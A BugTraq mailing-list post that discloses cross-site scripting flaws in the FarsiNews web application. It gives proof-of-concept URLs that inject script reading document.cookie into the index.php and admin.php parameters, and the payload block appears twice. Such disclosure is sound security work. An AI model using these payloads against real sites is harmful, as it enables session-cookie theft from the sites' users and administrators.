BugTraq
Back to list
|
Post reply
XXS Attack On FarsiNews
Apr 26 2006 05:09AM
outlaw aria-security net
XSS attack:
http://[target]/[farsinews_path ]/index.php?month=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!
--&year=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
http://[target]/[farsinews_path]/admin.php?mod=%3E%3Cscript%3Ealert(docu
ment.cookie)%3C/script%3E%3C !--
Original Advisory
http://www.aria-security.net/advisory/farsinews/farsinews0420062.txt
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
http://[target]/[farsinews_path ]/index.php?month=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!
--&year=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
http://[target]/[farsinews_path]/admin.php?mod=%3E%3Cscript%3Ealert(docu
ment.cookie)%3C/script%3E%3C !--
Original Advisory
http://www.aria-security.net/advisory/farsinews/farsinews0420062.txt
[ reply ]